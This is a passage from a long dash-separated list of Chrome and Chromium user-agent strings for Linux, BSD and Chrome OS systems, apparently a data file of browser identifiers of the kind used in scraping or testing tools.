3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 -Mozilla/5.0 (X11; CrOS i686 4319.74.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 -Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/536.5 (KHTML like Gecko) Chrome/19.0.1084.56 Safari/1EA69 -Mozilla/5.0 (X11; FreeBSD i386) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.121 Safari/535.2 -Mozilla/5.0 (X11; Linux amd64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 -Mozilla/5.0 (X11; Linux amd64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.91 Chromium/12.0.742.91 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.33 (KHTML, like Gecko) Ubuntu/9.10 Chromium/13.0.752.0 Chrome/13.0.752.0 Safari/534.33 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.804.0 Chrome/14.0.804.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.04 Chromium/14.0.813.0 Chrome/14.0.813.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.803.0 Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.814.0 Chrome/14.0.814.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1041.0 Safari/535.21 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.66 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/10.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.56 Chrome/17.0.963.56 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.04 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.11 (KHTML, like Gecko) Ubuntu/11.10 Chromium/17.0.963.65 Chrome/17.0.963.65 Safari/535.11 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Ubuntu/11.10 Chromium/18.0.1025.142 Chrome/18.0.1025.142 Safari/535.19 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.803.0 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.824.0 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/10.10 Chromium/14.0.808.0 Chrome/14.0.808.0 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/13.0.782.41 Chrome/13.0.782.41 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.21 (KHTML, like Gecko) Chrome/19.0.1042.0 Safari/535.21 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.24 (KHTML, like Gecko) Chrome/19.0.1055.1 Safari/535.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.04 Chromium/15.0.871.0 Chrome/15.0.871.0 Safari/535.2 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Safari/537.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36 -Mozilla/5.0 (X11; NetBSD) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36 -Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.24 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.7 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.308.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Chrome/5.0.335.0 Safari/533.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.353.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.368.0 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.544.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.200 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1333515017.9196 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416664997.4379 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416670950.695 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416748405.3871 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 v1416758524.9051 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/10.04 Chromium/9.0.595.0 Chrome/9.0.595.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Ubuntu/10.10 Chromium/9.0.600.0 Chrome/9.0.600.0 Safari/534.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.82 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.642.0 Chrome/10.0.642.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.127 Chrome/10.0.648.127 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 SUSE/10.0.626.0 (KHTML, like Gecko) Chrome/10.0.626.0 Safari/534.16 -Mozilla/5.0 